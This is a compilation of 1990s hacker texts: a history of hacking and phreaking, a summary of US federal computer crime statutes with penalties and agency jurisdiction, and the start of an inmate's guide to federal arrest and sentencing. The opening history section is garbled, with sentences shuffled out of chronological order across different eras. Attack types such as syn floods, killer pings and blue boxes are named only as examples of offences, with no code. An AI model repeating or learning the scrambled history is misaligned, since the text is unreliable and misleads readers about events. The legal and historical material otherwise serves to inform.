F-104s. in the city of Albuquerque. Bill Gates writes the operating system. No one can control cyberspace.Technical Assistance Program)." Oh. MIGs. What better way to pay no phone taxes than to pay no phone bill at all? Blue boxes burst onto the scene. This system doesn't boast the vector graphics of the Plato system. Also in 1969 we see a remarkable birth at Bell Labs as Ken Thompson invents a new operating system: Unix. The financial stress leads quickly to bankruptcy. the X-15. Their oscillators automate the whistling sounds that had already enabled people like Captain Crunch (John Draper) to become the pirate captains of the Bell Telephone megamonopoly. shoots everyone down and vanishes back into cyberspace. The screen goes black." California police." ARPAnet has developed a life independent of its creators. Altair. a MIG on my tail. and a hefty tax that Hoffman and many others refuse to pay as their protest against the Vietnam War. its users hack together a new way to ship text files around. "I'm about to shoot you down. Cyberpilots all over the US pick out their crafts: Phantoms. You now look more like a pizza than a human being as you slowly flutter to Earth. New Mexico. Its terminals just show ASCII characters: letters and numbers. It's a story that will later repeat itself in many forms. CA where she has some money men who want to see what this operating system business is all about. Sopwith Camels.") 1975. YIPL/TAP (Youth International Party -." This article violates Californian State Penal Code section 502. the operating system with the power to form miracles of computer legerdemain. My terminal displays the message "You just pulled 37 Gs. seize copies of the magazine from newsstands and the magazine's offices. ." One day the Starship Enterprise barges in on our simulator. aided by Pacific Bell officials. Suddenly phreakers are able to actually make money at their hobby. Abbie Hoffman and the Yippies found the first hacker/phreaker magazine. which outlaws the selling of "plans or instructions for any instrument. The first microcomputer. I dive and turn hoping to get my tormentor into my sights. the radical left magazine Ramparts. They can't even control it when it is just four computers big. or device intended to avoid telephone toll charges.In that year the Defense Department's Advanced Research Projects Agency funds a second project to hook up four mainframe computers so researchers can share their resources. Boring. huh? But this ARPAnet is eminently hackable. I see a chat message on the bottom of my screen. It is to become the gold standard of hacking and the Internet. the first flight simulator programs in history unfold on the Plato network.7. are displayed by touch-sensitive vector graphics terminals.the sport of playing with phone systems in ways the owners never intended. Within a year. Computer graphics. YIPL/TAP essentially invents phreaking -. Plato has been hacked! Even in 1973 multiuser game players have to worry about getting "smurfed"! (When a hacker breaks into a multiuser game on the Internet and kills players with techniques that are not rules of the game. They call their unauthorized. Then Bill's mom persuades him to move to Redmond. While flying a Phantom. the Altair is born. this is called "smurfing. They are motivated by the Bell Telephone monopoly with its high long distance rates. Also in 1969 John Goltz teams up with a money man to found Compuserve using the new packet switched technology being pioneered by ARPAnet. In June 1972. Virtual pilots fly out of digital airports and try to shoot each other down and bomb each others' airports. In 1971. in the article "Regulating the Phone Company In Your Home" publishes the schematics for a variant on the blue box known as the "mute box. apparatus. unplanned invention "email. As the Vietnam War winds down. no. Hans and Gribble peddle blue boxes on the Stanford campus. Oh blessed year! Under a Air Force contract. almost unheard of in that day.

The framework that would someday unite hackers around the world was now. Congress passes the Comprehensive Crime Control Act giving the US Secret Service jurisdiction . In a giant leap it moves from Network Control Protocol to Transmission Control Protocol/Internet Protocol (TCP/IP). He gives the list files command. The first cybercafe. ARPAnet is a pain in the rear to use. opens in Washington. ARPAnet's administrators are surprisingly easygoing about granting accounts. MITs "Jargon file" defines hacker as merely "a person who enjoys learning about computer systems and how to stretch their capabilities. That same year.25 networks reign supreme. Planet Earth. Ward Christenson and Randy Suess create the first personal computer bulletin board system. In the early 80s hackers love to pull pranks.it can span tens of millions of hosts! Thus the Internet is conceived within the womb of the DoD's ARPAnet. Us hackers suddenly have boxes that beat the heck out of Tektronix terminals.Remember Hans and Gribble? They join the Home Brew Computer club and choose Motorola microprocessors to build their own. under their real names of Steve Wozniak and Steve Jobs. They begin selling their computers. In 1978. cursing. Are you sure you want to play? Y/N" Who can resist? With that "Y" the screen bursts into a display of ASCII characters. A prank. Joe College sits down at his dumb terminal to the University DEC 10 and decides to poke around the campus network. Now ARPAnet is no longer limited to 256 computers -. Phreaking becomes more important than ever to connect to distant BBSs. ever so quietly. The Amiga hangs on by a thread. private cyberspace. It's all local and it's all free. Unlike the network of hacker bulletin boards. Then there is the great ARPAnet mutation of 1980. Famed science fiction author Jerry Pournelle discovers ARPAnet. DC. and doesn't transmit visuals of fighter planes mixing it up. growing. people don't need to choose between expensive long distance phone calls or phreaking to make their connections. Prices plunge. Within the next two years essentially all microcomputer operating systems except MS-DOS and those offered by Apple will be dead. jumping up and down. In 1984 Emmanuel Goldstein launches 2600: The Hacker Quarterly and the Legion of Doom hacker gang forms.or whatever -. what's this program called Sex? He runs it. The empire of the CP/M operating system falls.to get onto ARPAnet. Here's Star Trek! Here's Adventure! Zork! Hmm. In 1983 hackers are almost all harmless pranksters." Joe is weeping. the "414 Gang" is raided. The great Apple/Microsoft battle is joined. Plato fades. A message pops up: "Warning: playing with sex is hazardous. folks who keep their distance from the guys who break the law. and soon all self-respecting hackers own their own computers. then up comes the message: "Proceeding to delete all files in this account. Soon his fans are swarming to find excuses -. A computer religion is born. They log back into his account but his files are all still there." 1983 the IBM Personal Computer enters the stage powered by Bill Gates' MS-DOS operating system. "Naked Lady" runs rampant on Compuserve. forever limited to 1024 terminals. a person who programs enthusiastically and enjoys dedicating a great deal of time with computers. especially to people in the academic world. Nothing! Zilch! Nada! He runs to the sysadmin. hackers create a new. Phreaking is more hazardous than ever. 1980. But unlike the glitzy Plato. Also in 1978. Soon. X. Sneaking around college labs at night fades from the scene. and a thousand Silicon Valley fortunes shipwrecked. linked by nothing more than the long distance telephone network and these bulletin board nodes. ARPAnet is really hackable and now has what it takes to grow. The Source and Compuserve computer networks both begin to cater to individual users. which they brand name the Apple.

" "Case was the best. Despite these barriers. fades. crashes. networking technologies.. It raids both Richard Andrews' home and business.. Kevin Poulson makes a name for himself through many daring burglaries of Pacific Bell. Miami. at Carnegie Melon University writes his PhD thesis on the brand new. Inspired by Nelson's Xanadu. Prophet. He calls it the World Wide Web. The hacker scene operates on the mentor principle. Instead. as significant as 1980 and the launch of TCP/IP. Since 1985. It was to be the year. The young Internet. Leftist. never heard of thing called computer viruses.. According to a list of hacker groups compiled by the editors of Phrack on August 8. The Chicago Task Force arrests Knight Lightning and raids Robert Izenberg. releases it onto the Internet. . and San Francisco. Despite ARPAnet and the X. June 1990 Mitch Kapor and John Perry Barlow react to the excesses of all these raids to found the Electronic Frontier Foundation. and Erik Bloodaxe. Thus one of the most treasured prizes of the 80s hacker is a phone number to some mystery computer. you are way behind the pack. They succeed in getting law enforcement to back off the hacker community. Morris is arrested. The Secret Service covertly videotapes the 1988 SummerCon convention. by 1988 hacking has entered the big time. but gets off with probation. 1990 is also a year of unprecedented numbers of hacker raids and arrests. that the government would finally get its hands on enough high technology to become Big Brother. Manuals for these systems are often secret. Mentor. Tucson. science fiction author William Gibson. Morris. and telephony. and Scorpion in New York City. In 1988 Robert Tappan Morris. Fred Cohen.25 networks. The US Secret Service and Arizona Organized Crime and Racketeering Bureau conduct Operation Sundevil raids in Cincinnatti. Acid Phreak. Then he doublecrossed the wrong people. with little comprehension of the power of this exponential replication.. Soon vulnerable computers are filled to their digital gills with worms and clogging communications links as they send copies of the worms out to hunt other computers. In 1991 he quietly unleashes it on the world. Los Angeles. like Plato. and arrest Terminus.. Cyberspace will never be the same. copy itself and then send copy after copy on to other computers. Pittsburgh. Newark. Tim Berners-Lee of the European Laboratory for Particle Physics (CERN) conceives of a new way to implement hypertext. Richmond. Unless you can find someone who will induct you into the inner circle of a hacker gang that has accumulated documents salvaged from dumpsters or stolen in burglaries. the US hosts hundreds of them. 1988. as well as relaying other topics of interest to the international computer underground. then only a few thousand computers strong. San Jose. Nelson's Xanadu. thought millions of Orwell fans. 1990 is the next pivotal year for the Internet. who ever ran in Earth's computer matrix." In 1984 the first US police "sting" bulletin board systems appear. Computers of this era might be running any of dozens of arcane operating systems and using many communications protocols.over computer fraud. A famous unreasonable raid that year was the Chicago Task Force invasion of Steve Jackson Games. The US Secret Service and New York State Police raid Phiber Optik. It uses a combination of finger and sendmail exploits to break into a computer. 1984. Detroit. son of NSA chief scientist Robert Morris Sr. The 80s are the war dialer era. Its initial purpose is to protect hackers. Phoenix. like CP/M. Phrack has been providing the hacker community with information on operating systems. Inc. writing Neuromancer on a manual typewriter. San Diego. coins the term and paints the picture of "cyberspace. the vast majority of computers can only be accessed by discovering their individual phone lines. and Urvile. writes an exploit that will forever be known as the Morris Worm.

A number of hackers come forward to help run what becomes the Happy Hacker Digest. however. the first Def Con invades Las Vegas. is launched just to handle the high volume of NT security flaws discovered by its readers. Contents of the Crime Volume: Computer Crime Law Issue #1 Everything a hacker needs to know about getting busted by the feds ____________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Computer Crime Law Issue #1 By Peter Thiruselvam <pselvam@ix. Thanks to the willingness of hackers to share their knowledge on the Web. HoHocon and more. known as the “Computer Fraud and Abuse Act of 1986. Bugtraq archives are placed on the Web. Marc Andreesson and Eric Bina of the National Center for Supercomputing Applications release Mosaic. Soon the Web becomes the number one way that hackers boast and spread the codes for their exploits. in a tour de force of research. operating systems. and mail lists such as Bugtraq. and who will bust you if you go ahead with the crime anyhow. They are full of simple instructions designed to help novices understand hacking. Bulletin boards. NT Bugtraq. write and release a password cracker for WinNT that rocks the Internet. In August 1996 I start mailing out Guides to (mostly) Harmless Hacking. The era of hacker cons moves into full swing with the Beyond Hope series. after the fade out of the Plato of twenty years past. Many in the computer security community have come far enough along by now to realize that Mudge and Weld are doing the owners of NT networks a great service. with their tightly held secrets. 1996 Aleph One takes over the Bugtaq email list and turns it into the first public "full disclosure" computer security list. the days of people having to beg to be inducted into hacker gangs in order to learn hacking secrets are now fading. now you can get the first in a series of Guides to the gory details of exactly what laws we’re trying to keep you from accidentally breaking.netcom. Where next will the hacker world evolve? You hold the answer to that in your hands. For the first time in history. Self-proclaimed hackers Mudge and Weld of The L0pht. security flaws that can be used to break into computers are being discussed openly and with the complete exploit codes. and Section 1030. NT Bugtraq and Happy Hacker. Chapter 47.In 1993. TCP/IP protocols and much. In 1993. The era of daring burglaries of technical manuals fades.com> and Carolyn Meinel ____________________________________________________________ Tired of reading all those “You could go to jail” notes in these guides? Who says those things are crimes? Well. the first WWW browser that can show graphics. Section 1029. much more begins to proliferate on the Web. these graphics are here to stay. Finally. 1996 is also the year when documentation for routers. fade from the scene. In early 1997 the readers of Bugtraq begin to tear the Windows NT operating system to shreds. A new mail list. This Guide covers the two most important US Federal computer crime statutes: 18 USC. we have decent graphics! This time.” .

we are saying that the recreational hacker who just likes to play around with other people’s computers is not the guy to be afraid of.55% · Physical security problems .g. In a recent test sponsored by the Department of Defense. · It involves interstate or foreign communications. of the computer crimes that *are* reported. and stockholders will lose faith in them if they admit that their computers have been attacked. the customs Department. these are the types of computer crime and other losses: · Human errors . and organized crime.1-3% So when you consider that many of the outsider attacks come from professional computer criminals -many of whom are employees of the competitors of the victims.S.9% · Viruses . Attempts were made to attack a total of 8932 systems participating in the test.4% · Outsider attacks .) The reason so few attacks were reported was “mainly because organizations frequently fear their employees.Now these are not the *only* computer crime laws. · It involves a computer owned by a U. Secret Service jurisdiction (e. atomic energy. It’s far more likely to be some guy in a suit who is an employee of his victim.. SO. In certain federal cases. banking. terrorism. in cases of password or access code theft). Computer Security Institute. hackers are responsible for almost no damage at all to computers. But you would never know it from the media. foreign relations.S. may have jurisdiction. the Commerce Department. few are ever solved. and only 19 of the managers reported the attacks (Richard Power. . natural disasters. Secret Service has jurisdiction whenever the Treasury Department is victimized or whenever computers are attacked that are not under FBI or U. government department or agency. Of these offenses.. 1995. or a military organization. the FBI ordinarily has jurisdiction over cases involving national security. It’s just that these are the two most important laws used in US Federal Courts to put computer criminals behind bars. or other restricted information.g. a computer crime breaks federal laws when it falls into one of these categories: · It involves the theft or compromise of national defense. -Current and Future Danger: A CSI Primer on Computer Crime and Information Warfare_.20%(e. on the average. such as the Air Force Office of Investigations. In fact. would you? OVERVIEW OF US FEDERAL LAWS In general.10% · Disgruntled employees seeking revenge .S.” Besides. 7860 of those systems were successfully penetrated. The management of only 390 of those 7860 systems detected the attacks. The U. COMPUTER CRIMES: HOW COMMON? HOW OFTEN ARE THEY REPORTED? The FBI’s national Computer Crimes Squad estimates that between 85 and 97 percent of computer intrusions are not even detected. · it involves people or computers in other states or countries. clients. the statistics were startling. Yes. it has been our experience that hackers do far more good than harm. ARE HACKERS A BIG CAUSE OF COMPUTER DISASTERS? According to the Computer Security Institute. · It involves a bank or most other types of financial institutions. power problems) · Insider attacks conducted for the purpose of profiting from computer crime .

In addition to federal laws.000 or twice the value of the crime and/or up to 10 years in prison. The nine areas of criminal activity covered by Section 1029 are listed below. 3.) Penalty: Fine of $10. the two most important US federal computer crime laws are 18 USC: Chapter 47. or twice the value of the crime and/or up to 10 years in prison. Effecting transactions with access devices issued to another person in order to receive payment or anything of value totaling $1000 or more during a one-year period. 100. The act amended Title 18 United States Code §1030. most of the states have adopted their own computer crime laws. Producing.000 and/or up to 20 years if repeat offense. The Computer Abuse Amendments Act of 1994 expanded the 1986 Act to address the transmission of viruses and other harmful code. 5.000. 4. account numbers. credit cards. a number of federal laws protect against attacks on computers. Possessing 15 or more counterfeit or unauthorized access devices.In the United States. misuse of passwords.THE TWO MOST IMPORTANT FEDERAL CRIME LAWS As mentioned above. trafficking in. Producing.000 or twice the value of the crime and/or up to 15 years in prison. .000 and/or up to 20 years if repeat offense. $100.000 and/or up to 20 years if repeat offense.) Penalty: Fine of $10.) Penalty: Fine of 10. All *require* that the offense involved interstate or foreign commerce. (The offense must be committed knowingly and with intent to defraud.) Penalty: Fine of $50. A number of countries outside the United States have also passed legislation defining and prohibiting computer crime. $100. (The offense must be committed knowingly and with intent to defraud.000 and/or up to 20 years if repeat offense. although many other laws may be used to prosecute different types of computer crime. and various types of electronic identifiers. SECTION 1029 Section 1029 prohibits fraud and related activity that is made possible by counterfeit access devices such as PINs. (The offense must be committed knowingly and with intent to defraud. (The offense must be committed knowingly and with intent to defraud. electronic invasions of privacy. The Computer Fraud and Abuse Act of 1986 is the main piece of legislation that governs most common computer crimes. THE BIG NO NO’S -. Using or obtaining unauthorized access devices to obtain anything of value totaling $1000 or more during a one-year period.000 or twice the value of the of the crime and/or up to 15 years in prison. (The offense must be committed knowingly and with intent to defraud. $100. and other transgressions. which outlawed the unauthorized interception of digital communications and had just recently been passed. 1. 2.000 and/or up to 20 years if repeat offense. $1. or trafficking in counterfeit access devices. using. Sections 1029 and 1030.000 or twice the value of the crime and/or up to 10 years in prison. or having device-making equipment.) Penalty: Fine of $50. It also complemented the Electronic Communications Privacy Act of 1986.

or having a telecommunications instruments that has been modified or altered to obtain unauthorized use of telecommunications services. (The offense must be committed knowingly by accessing a computer without authorization or exceeding authorized access. Soliciting a person for the purpose of offering an access device or selling information that can be used to obtain an access device.000 or twice the value of the crime and/or up to 10 years in prison.S.(The offense must be committed knowingly and with intent to defraud. Secret Service and the FBI explicitly have been given jurisdiction to investigate the offenses defined under this act. producing.000 and/or up to 20 years if repeat offense. and without the authorization of the credit card system member or its agent. (The offense must be committed knowingly and with intent to defraud. enacted as part of the Computer Fraud and Abuse Act of 1986.) 2. and establishes penalties for such access. Penalty: Fine of $50. Under the Computer Fraud and Abuse Act. 8. Obtaining information in a financial record of a financial institution or a card issuer. trafficking in.000 or twice the value of the crime and/or up to 15 years in prison. Section 1030. (The offense must be committed knowingly and with intent to defraud. or restricted atomic energy information with the intent or reason to believe that the information can be used to injure the United States or to the advantage of any foreign nation. Acquiring national defense. SECTION 1030 18 USC. Using. or having a scanning receiver or hardware or software used to alter or modify telecommunications instruments to obtain unauthorized access to telecommunications services. Causing or arranging for a person to present. trafficking in. 7. (The offense must be committed intentionally by accessing a computer without authorization or exceeding authorized access. Using. they still work on some telephone networks) and cloned cell phones when the legitimate owner of the phone you have cloned has not agreed to it being cloned. and without the authorization of the issuer of the access device. records of transactions made by an access device.000 or twice the value of the crime and/or up to 15 years in prison. foreign relations.000 or twice the value of the crime and/or up to 15 years in prison.) This would cover use of “Red Boxes. Penalty: Fine of $10.000 and/or up to 20 years if repeat offense. This act is one of the few pieces of federal legislation solely concerned with computers. $100.) . or information on a consumer in a file of a consumer reporting agency.” “Blue Boxes” (yes. We just had a big scandal when the news media got a hold of an intercepted cell phone call from Speaker of the US House of Representatives Newt Gingrich. to a credit card system member or its agent for payment. This outlaws the scanners that people so commonly use to snoop on cell phone calls.000 and/or up to 20 years if repeat offense. $100. producing.) Penalty: Fine of $50. $100. Penalty: Fine of $50. Chapter 47. prohibits unauthorized or fraudulent access to government computers.000 and/or up to 20 years if repeat offense. $100. The six areas of criminal activity covered by Section 1030 are: 1. 9. the U.6.

In this scenario. This means that even if you can prove you harmed the computer by accident. up to 10 years if repeat offense. with intent to defraud. information. and (ii) the transmission occurs without the authorization of the computer owners or operators. one used for the government where the offense adversely affects the use of the government’s operation of the computer. and causes $1000 or more in loss or damage. Or some command he or she gives may accidentally mess things up. Through use of a computer used in interstate commerce. you still may go to prison. 4. or modifies or impairs. A simple email bomb attack. or potentially modifies or impairs. code. “killer ping. and without authorization or exceeding authorization.)[The government’s view of “federal interest computer” is defined below] Watch out! Even if you download copies of programs just to study them. Please remember to tiptoe around computers with . (I) the person causing the transmission does not intend the damage but operates with reckless disregard of the risk that the transmission will cause damage to the computer owners or operators. as well as breaking into a computer and messing around. Yeah. So even if you are a newbie hacker. government department or agency or. up to 10 years if repeat offense.mil or . (I) the person causing the transmission intends it to damage the computer or deny use to it. a medical treatment or examination. 5. (The offense must be committed knowingly. or command to a computer system.” you’re in deep trouble. or potentially modifies or impairs. just try to prove it was an accident. There are two separate scenarios: a. this law means if the owner of the program says. if it is not exclusive.gov domain names! Penalty: Fine and/or up to 1 year in prison. Just ask any systems administrator about giving commands as root. Penalty: Fine and/or up to 5 years in prison. knowingly causing the transmission of a program. up to 10 years if repeat offense. syn flood. and causes $1000 or more in loss or damage. Affecting a computer exclusively for the use of a U. some of the simplest exploits can land you in deep crap! Penalty with intent to harm: Fine and/or up to 5 years in prison. b. In this scenario. (The offense must be committed intentionally by accessing a computer without authorization. We hope this fellow was lying and simply paid the fee to purchase the report.) This could apply to syn flood and killer ping as well as other denial of service attacks. While editing or. “Yeah. and those huge numbers of Windows NT exploits where sending simple commands to many of its ports causes a crash could also break this law. Penalty: Fine and/or up to 1 year in prison. I’d say it’s worth a million dollars. worse yet. . the intruder may accidentally erase something important.Important note: recently on the dc-stuff hackers’ list a fellow whose name we shall not repeat claimed to have “hacked TRW” to get a report on someone which he posted to the list. Penalty for acting with reckless disregard: Fine and/or up to 1 year in prison. up to 10 years if repeat offense. Even when you know a computer like the back of your hand it is too easy to mess up. erasing various files. 3. The most common way someone gets into trouble with this part of the law is when trying to cover tracks after breaking into a computer. a medical treatment or examination.” flood ping. unless the fraud and the thing obtained consists only of the use of the computer. or modifies or impairs. Furthering a fraud by accessing a federal interest computer and obtaining anything of value.S.

not all of which are located in the same state. A computer that is exclusively for use of a financial institution[defined below] or the U. A member of the federal home loan bank system and any home loan bank. 2. up to 10 years if repeat offense. They also boast. A branch or agency of a foreign bank (as defined in the International Banking Act of 1978). if it is not exclusive. government or.S. 5. Re: #4 Section 1030 defines a federal interest computer as follows: 1. it can be really tempting to give out a password to someone else. Pretty soon dozens of clueless newbies are carelessly messing around the victim computer. (The offense must be committed knowingly and with intent to defraud.6. 3. Furthering a fraud by trafficking in passwords or similar information which will allow a computer to be accessed without authorization. Penalty: Fine and/or up to 1 year in prison. The Securities Investors Protection Corporation. WHO’S IN CHARGE OF BUSTING THE CRACKER WHO GETS A BIT FROGGY REGARDING SECTION 1030? (FBI stands for Federal Bureau of Investigation. An organization operating under section 25 or 25(a) of the Federal Reserve Act. one used for a financial institution or the U. USSS for US Secret Service) Section of Law 1030(a)(1) Type of Information National Security FBI X X X Jurisdiction USSS JOINT National defense 1030(a)(2) Foreign relations Restricted atomic energy . A broker-dealer registered with the Securities and Exchange Commission(SEC) within the rules of section 15 of the SEC Act of 1934. A computer that is one of two or more computers used to commit the offense. When one hacker finds a way to slip into another person’s computer. 9. A credit union with accounts insured by the National Credit Union Administration. An institution with deposits insured by the Federal Deposit Insurance Corporation(FDIC). 8.) A common way to break this part of the law comes from the desire to boast. Any institution of the Farm Credit system under the Farm Credit Act of 1971. 4. 6.S. The Federal Reserve or a member of the Federal Reserve. government where the offense adversely affects the use of the financial institution’s or government’s operation of the computer. including any Federal Reserve Bank. This section defines a financial institution as follows: 1. Before you know it you are in deep crud. if the trafficking affects interstate or foreign commerce or if the computer affected is used by or for the government. or 2. 7.

Seger & VonStorch. other financial institutions Financial records of card issuers Information on consumers in files of a consumer reporting agency Non-bank financial institutions 1030(a)(3) Government computers National defense Foreign relations Restricted data White House All other government computers 1030(a)(4) Federal interest computers: Intent to defraud 1030(a)(5)(A) Transmission of programs. which include categories (1) through (5) in the list of financial institutions defined above. you won't get busted. commands: Reckless disregard 1030 (a)(6) Trafficking in passwords: Interstate or foreign commerce Computers used by or for the government X X X X X X X X X X X X X X Regarding 1030 (a)(2): The FBI has jurisdiction over bank fraud violations. WILL SPEND LONG TIME IN JAILHOUSE SOUP.) The following is Agent Steal's guide to what one will face if one is arrested in the US for computer crime. Information pertaining to foreign relations. it isn't that easy to get away with stuff. Inc. commands: Intent to damage or deny use 1030(a)(5)(B) Transmission off programs. O’Reilly & Associates. and other restricted data. Regarding 1030(a)(3) Government Computers: The FBI is the primary investigative agency for violations of this section when it involves national defense.1030(a)(2) Financial or consumer Financial records of banks. But as Agent Steal and so many others have learned. . The Secret Service and FBI share joint jurisdiction over non-bank financial institutions defined in categories (6) and (7) in the list of financial institutions defined above.” This information was swiped from _Computer Crime: A Crimefighter’s Handbook_ (Icove. Criminal hackers will try to persuade you that if you are elite. MORAL: CONFUCIUS SAY: “CRACKER WHO GETS BUSTED DOING ONE OF THESE CRIMES. Unauthorized access to other information in government computers falls under the primary jurisdiction of the Secret Service.

Sim This article may be freely reproduced. Return of Property Q. The author and contributors to this phile in no way advocate criminal behavior. Ignorant Inmates E. Surveillance M. Plea Agreements and Attorneys D. Doing Time G. Federal B. provided acknowledgments are given to the author. Disciplinary Action H. Any reproduction for profit.net Contributions and editing by Minor Threat and Netta Gilboa Special thanks to Evian S. Cooperating J. Relevant Conduct B.FEDERAL CRIMINAL LAW Foreward Introduction A. Halfway House M. Outstanding Warrants R. agentsteal@usa. Security Levels C. Still Thinking About Trial K. Evidentiary Hearing P. Prison Officials J. Summary PART II . Preparing for Trial C. you thief) or law enforcement use is prohibited. Presentence Investigation N. 1997) Internet E-mail. Encryption S. Conspiracy E. Search and Seizure L. Good Time L. lame zines. (that means you t0mmy. Getting Bail H. in whole or in part. ---------------CONTENTS ---------------PART I . Administrative Remedy I. Getting Designated D. Use of Special Skill G. Supervised Release . The Hole K. Federal Charges I. Proceeding Pro Se O.---------------------------------------------------------------EVERYTHING A HACKER NEEDS TO KNOW ABOUT GETTING BUSTED BY THE FEDS ---------------------------------------------------------------Written By Agent Steal (From Federal Prison. Sentencing F. Population F. State v. State v.FEDERAL PRISON A. el8.

Summary FOREWORD Nobody wants to get involved in a criminal case and I've yet to meet a hacker who was fully prepared for it happening to them. It's a sad reality that NAMBLA. they simply don't have the resources to help hackers in trouble. Hackers are simply the easiest targets of any criminal subculture. I know of many hackers whose cases he ignored totally when contacted. Once one person goes down it always affects many others later. the less enemies you pick on the better and the less groups you join and people who you i nteract with the better as well. CD-ROMS. While Hackerz. and as the case goes on more comes to light.org defense fund or why he has not started something useful of his own. deadheads. which lacks lawyers willing to work pro bono (free) in most of the 50 states. One thing is clear though. Emmanuel's sales of 2600 dramatically increased as a result of covering the above cases to the tune of over 25. got his jaw broken perhaps in part from the government's anger at Emmanuel's publicizing of the case. There's a lot to be said for being considered a lamer and having no one really have anything to pin on you when the feds ask around.org makes nice T-shirts (which they don't give free or even discount to hackers in jail. gathering and using information. adult film stars and bookstores. Most of . ironically. The FBI or Secret Service will likely visit your lovers and try to turn them against you. What goes around. as to why he has no ties to the Hackerz. but decided to after it was literally stolen out of my hands so I could not finish it) and someone sent Agent Steal a copy while he was incarcerated. This is not something that disappears from your life the day the case is over. btw).000 copies per issue. Knight Lightning still owes his attorney money. comes around. as a result of the hackers who had fun picking on me at Defcon. and most of them have some sort of address book seized from them too (the most famous of which still remains the one seized from The Not So Humble Babe). the facts of your case and the outcome. web pages and text files about hackers and hacking available. It does give pause for thought. He wrote me a letter of support. and one even mailbombed our CompuServe account causing us to lose the account and our email there. and involved with. From what I've seen on the criminal justice system as it relates to hackers. I posted the speech I gave there on the Gray Areas web page (which I had not originally intended to post. and while several hackers taunted me that I had no friends in the community and was not wanted. if he cares so much about the hackers and not his own sales and fame. in reality Phiber got more jail time for going to trial on Emmanuel's advice than his co-defendants who didn't have Emmanuel help them and pled instead. marijuana users and other deviant groups are so much more organized than hackers who claim to be so adept at. Bernie S. This article marks the first important attempt at cooperation to inform the community as a whole (even our individual enemies) about how best to protect themselves. So does Bernie S. It's food for thought that the hacker you taunt today will be able to cut a deal for himself by informing on you later. Although he's credited for helping Phiber Optik. While there are notable exceptions. If you're lucky they'll remember to use the word "allegedly. I laughed knowing that this article was in progress and that of all of the publications it could have been given to first it was Gray Areas that was chosen. There are thousands of paper and electronic magazines. yet there is nothing in print until now that specifically covers what to do when an arrest actually happens to you. My own experience comes from living with a retired hacker arrested ten months after he had stopped hacking for old crimes because another hacker informed on him in exchange for being let go himself. I know there will be many more hacker cases until hackers work together instead of attacking each other and making it so easy for the government to divide them. The mainstream media will lie about your charges. Most of them aren't told the full scope of the investigation up front. Phrack and other zines historically have merely reposted incorrect newspaper reports which can cause the hackers covered even more damage. and despite all the attention Emmanuel has gotten for Kevin Mitnick it didn't stop Mitnick's being put in solitary confinement or speed up his trial date any." While most hackers probably think Emmanuel Goldstein and 2600 will help them. the hacker in question was wiretapped and/or narced on by someone previously raided who covered up their own raid or minimized it in order to get off by implicating others. Neither does the EFF. Most hackers do not plan for an arrest by hiding their notes or encrypting their data.N. Invariably. this has been true for more hackers than I care to think about. I met Agent Steal. often only at the last minute. 80% or more of prisoners lose their lovers and/or their families after the arrest.

You won't be laughing then. EVERY COUNT WILL BE USED TO CALCULATE YOUR SENTENCE . and I hope you'll have paid good attention when you're suddenly in jai l with no bail granted and every last word you read here turns out to be true. and our mistakes. Having filed our own motions. No matter how precautionary or sage you are." It's a bit complex and I will get into this. Your lawyer isn't likely to know a thing about computer crimes and it's the cases of the hackers who were arrested before you which.. They say information wants to be free. As a result we turned our hacking skills during the times of our incarceration towards the study of criminal law and. and so here is a gift to the community (also quite applicable to anyone accused of any federal crime if one substitutes another crime for the word hacking). ONCE YOU ARE FOUND GUILTY OF EVEN ONE COUNT. survival. This is probably the most substantial misunderstanding of the present criminal justice system. Agent Steal PART I .your hacker friends who you now talk to daily will run from you after your arrest and will tell other people all sorts of stories to cover up the fact they don't know a thing. I realize my previous statements are somewhat lofty. written our own briefs and endured life in prison. The writer and contributors of this file have learned the hard way. I have to make his crystal clear so that it will stick in your heads." I doubt that anyone would disagree: The criminal justice system is a game to be played. The subject I am talking about is referred to in legal circles as "relevant conduct. reading this file could mean the difference between a three-year or a one-year sentence.FEDERAL CRIMINAL LAW A. and the popular voice bridges and conference calls you talk to them on surely are. Remember the next time you put them down that ironically it's them you'll have to turn to for advice shoul d it happen to you. It boils down to two concepts: I. Remember too that your "friends" are the people most likely to get you arrested too. remember that someone is probably logging you and if you stay active it's a good bet your day will come too. Those of us who have been there before wish you good luck in advance. Next time you put down a hacker in jail and laugh about how they are getting raped while you're on IRC. both by prosecution and defense. reading this file will likely change the way you hack. we now pass this knowledge back to the hacker community. Netta "grayarea" Gilboa INTRODUCTION The likelihood of getting arrested for computer hacking has increased to an unprecedented level. like it or not. For anyone active in hacking I cannot begin to stress the importance of the information contained in this file. THE BOTTOM LINE . And if you have to be a player. but in the 35 months I spent incarcerated I've heard countless inmates say it: "If I knew then what I know now. ultimately. you're bound to make mistakes. you have made your first mistake. To those who have just been arrested by the Feds. or stop you from hacking altogether.. you would be wise to learn the rules of engagement.RELEVANT CONDUCT For those of you with a short G-phile attention span I'm going to cover the single most important topic first. will provide the legal precedents for your own conviction. as even if your phone isn't wiretapped now theirs may be. To those who have never been busted. Learn from our experiences. However. And the fact of the matter is if you have trusted anyone else with the know ledge of what you are involved in.

You may however. That issue notwithstanding. This specialist will make certain the judge sees the whole picture and will argue in the most effective manner for a light or reasonable sentence. This being the case you need to remember two things: bring all your appealable issues up at sentencing and file a notice of appeal within 10 days of your sentencing. but it's true. I don't want to gloss over the importance of a ready for trial posturing. If you get busted. Snooze and loose. PREPARING FOR TRIAL I've been trying to be overly simplistic with my explanation. In actuality a simple plea and sentencing should run you around $15. it's the preponderance of evidence standard for relevant conduct." Save your money. code abuse. "that amount will be fine". etc.). All I can say is if you don't like the one you have. You do not have to be proven guilty of every act. This practice includes using illegally seized evidence and acquittals as information in increasing the length of your sentence.S. Costs will vary and typically the attorney asks you how much cash you can raise and then says. YOUR SENTENCE WILL BE BASED ON THE TOTAL MONETARY LOSS The Feds use a sentencing table to calculate your sentence. Plea agreements can be tricky business and if you are not careful or are in a bad defense position (the case against you is strong). your agreement may get the best of you. More Money = More Time. If you can scrape together $5000 for a sentencing (post conviction) specialist to work with your public defender I would highly recommend it. And finally. Trial fees can easily soar into the 6 figure category. I know this sounds insane . The plea agreement you sign is going to affect you and your case well after you are sentenced. find yourself at the mercy of The Public Defenders Office. This is assuming we are talking about hacking. And an unsuccessful attempt is treated the same as a completed crime. carding.000 to handle your sentencing presentation with final arguments. PLEA AGREEMENTS AND ATTORNEYS Your attorney can be your worst foe or your finest advocate. or someone says you were. Usually they are worthless. There are many issues in a plea to negotiate over. your sentence will be the same. However. . and then refer to the sentencing table. I would highly recommend hiring one. Attorney's Office has a 95% conviction rate. are in fact quite complex. Other crimes you committed (but were not charged with) will also be used to calculate your 